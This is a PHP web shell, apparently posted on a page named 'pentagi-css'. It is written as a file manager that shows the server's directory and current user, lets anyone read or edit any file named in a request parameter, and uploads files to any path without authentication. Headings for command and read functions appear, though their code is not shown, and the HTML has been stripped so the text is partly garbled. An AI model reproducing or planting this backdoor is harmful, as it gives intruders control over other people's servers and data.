pentagi-css

pentagi-css

FM

‘;
echo ‘

FM

‘;
echo ‘

dir

‘;
echo ‘

‘ . htmlspecialchars($base) . ‘ | ‘ . htmlspecialchars(@get_current_user()) . ‘

‘;

if (isset($_GET[‘edit’])) {
$ef = $_GET[‘edit’];
$content = @file_get_contents($ef);
if ($content === false) $content = ”;
echo ‘

Edit: ‘ . htmlspecialchars($ef) . ‘

‘;
echo ‘

‘;
echo ‘

‘;
}

echo ‘

‘;
$items = @scandir($base);
if (!$items) $items = array();
foreach ($items as $x) {
if ($x === ‘.’) continue;
$p = $base . ‘/’ . $x;
$isd = is_dir($p);
$sz = $isd ? ‘-‘ : (@filesize($p) ? @filesize($p) : 0);
echo ‘

‘;
echo ‘

‘;
}
echo ‘

Name Size Act
‘ . ($isd ? ‘[D]’ : ‘[F]’) . ‘ ‘ . htmlspecialchars($x) . ‘ ‘ . $sz . ‘ ‘;
if (!$isd) {
echo ‘edit ‘;
echo ‘dl ‘;
echo ‘raw‘;
}
echo ‘

‘;

echo ‘

Upload

‘;
echo ‘‘;
echo ‘

‘;
if (isset($_SERVER[‘REQUEST_METHOD’]) && $_SERVER[‘REQUEST_METHOD’] == ‘POST’ && isset($_FILES[‘u’][‘tmp_name’]) && !isset($_POST[‘save’])) {
$dest = rtrim(str_replace(‘\\’, ‘/’, $_POST[‘d’]), ‘/’) . ‘/’ . basename($_FILES[‘u’][‘name’]);
if (@move_uploaded_file($_FILES[‘u’][‘tmp_name’], $dest)) echo ‘

OK ‘ . htmlspecialchars($dest) . ‘

‘;
else echo ‘

FAIL ‘ . htmlspecialchars($dest) . ‘

‘;
}

echo ‘

Cmd

‘;
echo ‘

‘;
echo ‘

Read

‘;
echo ‘‘;